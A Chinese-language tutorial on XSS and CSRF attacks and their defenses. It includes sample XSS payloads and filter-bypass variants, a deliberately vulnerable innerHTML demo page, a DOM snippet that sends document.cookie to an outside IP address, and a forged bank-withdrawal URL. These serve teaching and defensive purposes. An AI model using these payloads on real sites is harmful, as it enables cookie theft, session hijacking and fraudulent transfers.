XSS及CSRF攻擊防禦
一、概念:
XSS攻擊全稱跨站指令碼攻擊(Cross Site Scripting);
CSRF(Cross-site request forgery)跨站請求偽造,也被稱為“One Click Attack”或者Session Riding,通常縮寫為CSRF或者XSRF;
二、XSS
什麼是 XSS ?
XSS (Cross Site Scripting),即跨站指令碼攻擊,是一種常見於 Web 應用中的電腦保安漏洞。惡意攻擊者往 Web 頁面裡嵌入惡意的客戶端指令碼,當用戶瀏覽此網頁時,指令碼就會在使用者的瀏覽器上執行,進而達到攻擊者的目的。比如獲取使用者的 Cookie、導航到惡意網站、攜帶木馬等。藉助安全圈裡面非常有名的一句話:
所有的輸入都是有害的。
這句話把 XSS 漏洞的本質體現的淋漓盡致。大部分的 XSS 漏洞都是由於沒有處理好使用者的輸入,導致惡意指令碼在瀏覽器中執行。任何輸入提交資料的地方都有可能存在 XSS。
XSS 指令碼攻擊案例:
新浪微博遭受 XSS 攻擊
人人網遭受 XSS 攻擊
在這裡使用一個簡單的例子測試XSS:
<!DOCTYPE html> <html lang="zh"> <head> <meta charset="UTF-8"> <title>測試是否存在xss漏洞</title> </head> <body> <span>輸入評論:</span> <input type="text" value="" placeholder="請輸入您的評論" id="comment"> <input type="button" value="提交" id="submit"> <p> <span>您的評論:</span> <span id="commentList"></span> </p> <script> document.getElementById("submit").addEventListener("click",function(){ let comment = document.getElementById("comment").value document.getElementById("commentList").innerHTML = comment }) </script> </body> </html>
注意:使用innerHtml插入程式碼,只是當作普通的html執行,js解析器不會執行js指令碼。
XSS 攻擊分類
<!DOCTYPE html> <html lang="zh"> <head> <meta charset="UTF-8"> <title>xss漏洞廣告頁面</title> <style> a { text-decoration: none; font-size: 2rem; } img { width: 8rem; height: 8rem; } </style> </head> <body> <a href="attack.html?content=<img src='aaa.png' onerror='alert(1)'/>"> <img src="https://timgsa.baidu.com/timg?image&quality=80&size=b9999_10000&sec=1520930605289&di=04f8835509d8c3c3fac4db7636247431&imgtype=0&src=http%3A%2F%2Fpic.58pic.com%2F58pic%2F13%2F14%2F16%2F37J58PICWTD_1024.jpg"> </a> <a href="attack.html?content=<img src='aaa.png' onerror='while(true)alert(/關不掉/)'/>">敏感詞彙</a> <script> </script> </body> </html>
反射型
使用者在頁面輸入框中輸入資料,通過 get 或者 post 方法向伺服器端傳遞資料,輸入的資料一般是放在 URL 的 query string 中,或者是 form 表單中,如果服務端沒有對這些資料進行過濾、驗證或者編碼,直接將使用者輸入的資料呈現出來,就可能會造成反射型 XSS。反射型 XSS 是非常普遍的,其危害程度通常較小,但是某些反射型 XSS 還是會造成嚴重後果的。
黑客通常通過構造一個包含 XSS 程式碼的 URL,誘導使用者點選連結,觸發 XSS 程式碼,達到劫持訪問、獲取 cookies 的目的。
持久型
通常是因為伺服器端將使用者輸入的惡意指令碼沒有經過驗證就儲存在資料庫中,並且通過呼叫資料庫的方式,將資料呈現在瀏覽器上,當頁面被使用者開啟的時候執行,每當使用者開啟瀏覽器,惡意指令碼就會執行。持久型的 XSS 攻擊相比非持久型的危害性更大,因為每當使用者開啟頁面,惡意指令碼都會執行。
例如一個評論功能,在提交評論的表單裡面:
<input type="text" name="content" value="評論內容" >
正常情況下,使用者填入評論內容提交,服務端將評論內容儲存到資料庫,其他使用者檢視評論時,從後臺提供的介面中取出資料展示。非正常情況下,惡意攻擊者在 value 中填寫惡意程式碼:
<img src='' onerror='alert(/攻擊指令碼/)' />
後臺儲存到資料庫中,其他使用者檢視評論的時候就會執行這些惡意攻擊程式碼。
DOM 型( DOM Based XSS )
DOM 是一個樹形結構,我們可以通過寫 js 程式碼來修改節點,物件和值。DOM XSS 簡單理解就是它的輸出點在 DOM 。XSS 程式碼可能是插入簡單的<script src="https://test.com/haker.js">
,載入第三方的惡意指令碼,這些惡意指令碼,通常是讀取使用者的 cookie 。
var hakerImg = document.createElement('img');
hakerImg.width = 0;
hakerImg.height = 0;
hakerImg.src =
'http://110.114.119.120:5000/?hacker='+encodeURIComponent(document.cookie);
XSS 常見攻擊方法
1、繞過 XSS-Filter,利用 <> 標籤注入 Html/JavaScript 程式碼;
2、利用 HTML 標籤的屬性值進行 XSS 攻擊。例如:<img src=“javascript:alert(‘xss’)”/>
;(當然並不是所有的 Web 瀏覽器都支援 Javascript 偽協議,所以此類 XSS 攻擊具有一定的侷限性)
3、空格、回車和 Tab。如果 XSS Filter 僅僅將敏感的輸入字元列入黑名單,比如 javascript,使用者可以利用空格、回車和 Tab 鍵來繞過過濾,例如:<img src=“javas cript:alert(/xss/);”/>
;
4、利用事件來執行跨站指令碼。例如:<img src=“#” onerror= “alert(1)”/>
,當 src 錯誤的視乎就會執行 onerror 事件;
5、利用 CSS 跨站。例如:body {backgrund-image: url(“javascript:alert(‘xss’)”)}
;
6、擾亂過濾規則。例如:<IMG SRC=“javaSCript: alert(/xss/);”/>
;
7、利用字元編碼,通過這種技巧,不僅能讓 XSS 程式碼繞過服務端的過濾,還能更好地隱藏 Shellcode;( JS 支援 unicode、eacapes、十六進位制、十進位制等編碼形式);
8、拆分跨站法,將 XSS 攻擊的程式碼拆分開來,適用於應用程式沒有過濾 XSS 關鍵字元(如<、>)卻對輸入字元長度有限制的情況下;
9、DOM 型的 XSS 主要是由客戶端的指令碼通過 DOM 動態地輸出資料到頁面上,它不依賴於提交資料到伺服器,而是從客戶端獲得DOM中的資料在本地執行。容易導致 DOM 型的 XSS 的輸入源包括:Document.URL、Location(.pathname|.href|.search|.hash)、Document.referrer、Window.name、Document.cookie、localStorage/globalStorage
;
XSS 如何防禦?
從上面的介紹可知,XSS 漏洞是由於對使用者提交的資料沒有經過嚴格的過濾處理造成的,所以防禦的原則就是不相信使用者輸入的資料,對輸入進行過濾,對輸出進行編碼。
1、使用 XSS Filter
針對使用者提交的資料進行有效的驗證,只接受我們規定的長度或內容的提交,過濾掉其他的輸入內容。比如:
-
表單資料指定值的型別:年齡只能是 int 、name 只能是字母數字等。
-
過濾或移除特殊的 html 標籤:
<script>
、<iframe>
等。 -
過濾 js 事件的標籤:
onclick
、onerror
、onfocus
等。
2、html 實體
當需要往 HTML 標籤之間插入不可信資料的時候,首先要做的就是對不可信資料進行 HTML Entity 編碼,在 html 中有些字元對於 HTML 來說是具有特殊意義的,所以這些特殊字元不允許在文字中直接使用,需要使用實體字元。 html 實體的存在是導致 XSS 漏洞的主要願意之一,因此我們需要將實體轉化為相應的實體編號。
顯示結果 | 描述 | 實體編號 |
---|---|---|
空格 |   ; | |
< | 小於 | < ; |
> | 大於 | > ; |
& | 和 | & ; |
'' | 引號 | " ; |
3、JavaScript編碼
這條原則主要針對動態生成的JavaScript程式碼,這包括指令碼部分以及HTML標籤的事件處理屬性(如onerror, onload等)。在往JavaScript程式碼裡插入資料的時候,只有一種情況是安全的,那就是對不可信資料進行JavaScript編碼,並且只把這些資料放到使用引號包圍起來的值部分(data value)之中,除了上面的那些轉義之外,還要附加上下面的轉義: \
轉成 \\
/
轉成 \/
;
轉成 ;
(全形;)
注意:在對不可信資料做編碼的時候,不能圖方便使用反斜槓\
對特殊字元進行簡單轉義,比如將雙引號 ”
轉義成 \”
,這樣做是不可靠的,因為瀏覽器在對頁面做解析的時候,會先進行HTML解析,然後才是JavaScript解析,所以雙引號很可能會被當做HTML字元進行HTML解析,這時雙引號就可以突破程式碼的值部分,使得攻擊者可以繼續進行XSS攻擊;另外,輸出的變數的時候,變數值必須在引號內部,避免安全問題;更加嚴格的方式,對除了數字和字母以外的所有字元,使用十六進位制\xhh 的方式進行編碼。
4、Http Only cookie
許多 XSS 攻擊的目的就是為了獲取使用者的 cookie,將重要的 cookie 標記為 http only,這樣的話當瀏覽器向服務端發起請求時就會帶上 cookie 欄位,但是在指令碼中卻不能訪問 cookie,這樣就避免了 XSS 攻擊利用 js 的 document.cookie
獲取 cookie。
總結
很多地方都可能產生 XSS 漏洞,並且產生的方式不一樣,所以對於這些漏洞,我們需要找到正確的方法來防禦。XSS 漏洞在不斷的發展,上面介紹的防禦方法幾乎能夠解決大部分的 XSS 漏洞,即便這樣,我們也不能掉以輕心,為了讓 Web 應用更安全,我們還需要結合其他的方法來加強 XSS 防禦。
隨著科技的不斷髮展,Web 應用變得越來越複雜,隨之而產生的漏洞(不僅限於 XSS ) 也越來越多。沒有什麼方法能夠一次性解決所有安全問題,我們只能在實際的工作過程中,針對不同的安全漏洞進行鍼對性的防禦。
三、CSRF
CSRF攻擊攻擊原理及過程如下:
1. 使用者C開啟瀏覽器,訪問受信任網站A,輸入使用者名稱和密碼請求登入網站A;
2.在使用者資訊通過驗證後,網站A產生Cookie資訊並返回給瀏覽器,此時使用者登入網站A成功,可以正常傳送請求到網站A;
3. 使用者未退出網站A之前,在同一瀏覽器中,開啟一個TAB頁訪問網站B;
4. 網站B接收到使用者請求後,返回一些攻擊性程式碼,併發出一個請求要求訪問第三方站點A;
5. 瀏覽器在接收到這些攻擊性程式碼後,根據網站B的請求,在使用者不知情的情況下攜帶Cookie資訊,向網站A發出請求。網站A並不知道該請求其實是由B發起的,所以會根據使用者C的Cookie資訊以C的許可權處理該請求,導致來自網站B的惡意程式碼被執行。
CSRF攻擊例項
受害者 Bob 在銀行有一筆存款,通過對銀行的網站傳送請求 http://bank.example/withdraw?account=bob&amount=1000000&for=bob2 可以使 Bob 把 1000000 的存款轉到 bob2 的賬號下。通常情況下,該請求傳送到網站後,伺服器會先驗證該請求是否來自一個合法的 session,並且該 session 的使用者 Bob 已經成功登陸。
黑客 Mallory 自己在該銀行也有賬戶,他知道上文中的 URL 可以把錢進行轉帳操作。Mallory 可以自己傳送一個請求給銀行:http://bank.example/withdraw?account=bob&amount=1000000&for=Mallory。但是這個請求來自 Mallory 而非 Bob,他不能通過安全認證,因此該請求不會起作用。
這時,Mallory 想到使用 CSRF 的攻擊方式,他先自己做一個網站,在網站中放入如下程式碼: src=”http://bank.example/withdraw?account=bob&amount=1000000&for=Mallory ”,並且通過廣告等誘使 Bob 來訪問他的網站。當 Bob 訪問該網站時,上述 url 就會從 Bob 的瀏覽器發向銀行,而這個請求會附帶 Bob 瀏覽器中的 cookie 一起發向銀行伺服器。大多數情況下,該請求會失敗,因為他要求 Bob 的認證資訊。但是,如果 Bob 當時恰巧剛訪問他的銀行後不久,他的瀏覽器與銀行網站之間的 session 尚未過期,瀏覽器的 cookie 之中含有 Bob 的認證資訊。這時,悲劇發生了,這個 url 請求就會得到響應,錢將從 Bob 的賬號轉移到 Mallory 的賬號,而 Bob 當時毫不知情。等以後 Bob 發現賬戶錢少了,即使他去銀行查詢日誌,他也只能發現確實有一個來自於他本人的合法請求轉移了資金,沒有任何被攻擊的痕跡。而 Mallory 則可以拿到錢後逍遙法外。
CSRF漏洞檢測:
檢測CSRF漏洞是一項比較繁瑣的工作,最簡單的方法就是抓取一個正常請求的資料包,去掉Referer欄位後再重新提交,如果該提交還有效,那麼基本上可以確定存在CSRF漏洞。
隨著對CSRF漏洞研究的不斷深入,不斷湧現出一些專門針對CSRF漏洞進行檢測的工具,如CSRFTester,CSRF Request Builder等。
以CSRFTester工具為例,CSRF漏洞檢測工具的測試原理如下:使用CSRFTester進行測試時,首先需要抓取我們在瀏覽器中訪問過的所有連結以及所有的表單等資訊,然後通過在CSRFTester中修改相應的表單等資訊,重新提交,這相當於一次偽造客戶端請求。如果修改後的測試請求成功被網站伺服器接受,則說明存在CSRF漏洞,當然此款工具也可以被用來進行CSRF攻擊。
防禦CSRF攻擊:
目前防禦 CSRF 攻擊主要有三種策略:驗證 HTTP Referer 欄位;在請求地址中新增 token 並驗證;在 HTTP 頭中自定義屬性並驗證。
(1)驗證 HTTP Referer 欄位
根據 HTTP 協議,在 HTTP 頭中有一個欄位叫 Referer,它記錄了該 HTTP 請求的來源地址。在通常情況下,訪問一個安全受限頁面的請求來自於同一個網站,比如需要訪問 http://bank.example/withdraw?account=bob&amount=1000000&for=Mallory,使用者必須先登陸 bank.example,然後通過點選頁面上的按鈕來觸發轉賬事件。這時,該轉帳請求的 Referer 值就會是轉賬按鈕所在的頁面的 URL,通常是以 bank.example 域名開頭的地址。而如果黑客要對銀行網站實施 CSRF 攻擊,他只能在他自己的網站構造請求,當用戶通過黑客的網站傳送請求到銀行時,該請求的 Referer 是指向黑客自己的網站。因此,要防禦 CSRF 攻擊,銀行網站只需要對於每一個轉賬請求驗證其 Referer 值,如果是以 bank.example 開頭的域名,則說明該請求是來自銀行網站自己的請求,是合法的。如果 Referer 是其他網站的話,則有可能是黑客的 CSRF 攻擊,拒絕該請求。
這種方法的顯而易見的好處就是簡單易行,網站的普通開發人員不需要操心 CSRF 的漏洞,只需要在最後給所有安全敏感的請求統一增加一個攔截器來檢查 Referer 的值就可以。特別是對於當前現有的系統,不需要改變當前系統的任何已有程式碼和邏輯,沒有風險,非常便捷。
然而,這種方法並非萬無一失。Referer 的值是由瀏覽器提供的,雖然 HTTP 協議上有明確的要求,但是每個瀏覽器對於 Referer 的具體實現可能有差別,並不能保證瀏覽器自身沒有安全漏洞。使用驗證 Referer 值的方法,就是把安全性都依賴於第三方(即瀏覽器)來保障,從理論上來講,這樣並不安全。事實上,對於某些瀏覽器,比如 IE6 或 FF2,目前已經有一些方法可以篡改 Referer 值。如果 bank.example 網站支援 IE6 瀏覽器,黑客完全可以把使用者瀏覽器的 Referer 值設為以 bank.example 域名開頭的地址,這樣就可以通過驗證,從而進行 CSRF 攻擊。
即便是使用最新的瀏覽器,黑客無法篡改 Referer 值,這種方法仍然有問題。因為 Referer 值會記錄下使用者的訪問來源,有些使用者認為這樣會侵犯到他們自己的隱私權,特別是有些組織擔心 Referer 值會把組織內網中的某些資訊洩露到外網中。因此,使用者自己可以設定瀏覽器使其在傳送請求時不再提供 Referer。當他們正常訪問銀行網站時,網站會因為請求沒有 Referer 值而認為是 CSRF 攻擊,拒絕合法使用者的訪問。
(2)在請求地址中新增 token 並驗證
CSRF 攻擊之所以能夠成功,是因為黑客可以完全偽造使用者的請求,該請求中所有的使用者驗證資訊都是存在於 cookie 中,因此黑客可以在不知道這些驗證資訊的情況下直接利用使用者自己的 cookie 來通過安全驗證。要抵禦 CSRF,關鍵在於在請求中放入黑客所不能偽造的資訊,並且該資訊不存在於 cookie 之中。可以在 HTTP 請求中以引數的形式加入一個隨機產生的 token,並在伺服器端建立一個攔截器來驗證這個 token,如果請求中沒有 token 或者 token 內容不正確,則認為可能是 CSRF 攻擊而拒絕該請求。
這種方法要比檢查 Referer 要安全一些,token 可以在使用者登陸後產生並放於 session 之中,然後在每次請求時把 token 從 session 中拿出,與請求中的 token 進行比對,但這種方法的難點在於如何把 token 以引數的形式加入請求。對於 GET 請求,token 將附在請求地址之後,這樣 URL 就變成 http://url?csrftoken=tokenvalue。 而對於 POST 請求來說,要在 form 的最後加上 <input type=”hidden” name=”csrftoken” value=”tokenvalue”/>,這樣就把 token 以引數的形式加入請求了。但是,在一個網站中,可以接受請求的地方非常多,要對於每一個請求都加上 token 是很麻煩的,並且很容易漏掉,通常使用的方法就是在每次頁面載入時,使用 javascript 遍歷整個 dom 樹,對於 dom 中所有的 a 和 form 標籤後加入 token。這樣可以解決大部分的請求,但是對於在頁面載入之後動態生成的 html 程式碼,這種方法就沒有作用,還需要程式設計師在編碼時手動新增 token。
該方法還有一個缺點是難以保證 token 本身的安全。特別是在一些論壇之類支援使用者自己發表內容的網站,黑客可以在上面釋出自己個人網站的地址。由於系統也會在這個地址後面加上 token,黑客可以在自己的網站上得到這個 token,並馬上就可以發動 CSRF 攻擊。為了避免這一點,系統可以在新增 token 的時候增加一個判斷,如果這個連結是鏈到自己本站的,就在後面新增 token,如果是通向外網則不加。不過,即使這個 csrftoken 不以引數的形式附加在請求之中,黑客的網站也同樣可以通過 Referer 來得到這個 token 值以發動 CSRF 攻擊。這也是一些使用者喜歡手動關閉瀏覽器 Referer 功能的原因。
(3)在 HTTP 頭中自定義屬性並驗證
這種方法也是使用 token 並進行驗證,和上一種方法不同的是,這裡並不是把 token 以引數的形式置於 HTTP 請求之中,而是把它放到 HTTP 頭中自定義的屬性裡。通過 XMLHttpRequest 這個類,可以一次性給所有該類請求加上 csrftoken 這個 HTTP 頭屬性,並把 token 值放入其中。這樣解決了上種方法在請求中加入 token 的不便,同時,通過 XMLHttpRequest 請求的地址不會被記錄到瀏覽器的位址列,也不用擔心 token 會透過 Referer 洩露到其他網站中去。
然而這種方法的侷限性非常大。XMLHttpRequest 請求通常用於 Ajax 方法中對於頁面區域性的非同步重新整理,並非所有的請求都適合用這個類來發起,而且通過該類請求得到的頁面不能被瀏覽器所記錄下,從而進行前進,後退,重新整理,收藏等操作,給使用者帶來不便。另外,對於沒有進行 CSRF 防護的遺留系統來說,要採用這種方法來進行防護,要把所有請求都改為 XMLHttpRequest 請求,這樣幾乎是要重寫整個網站,這代價無疑是不能接受的。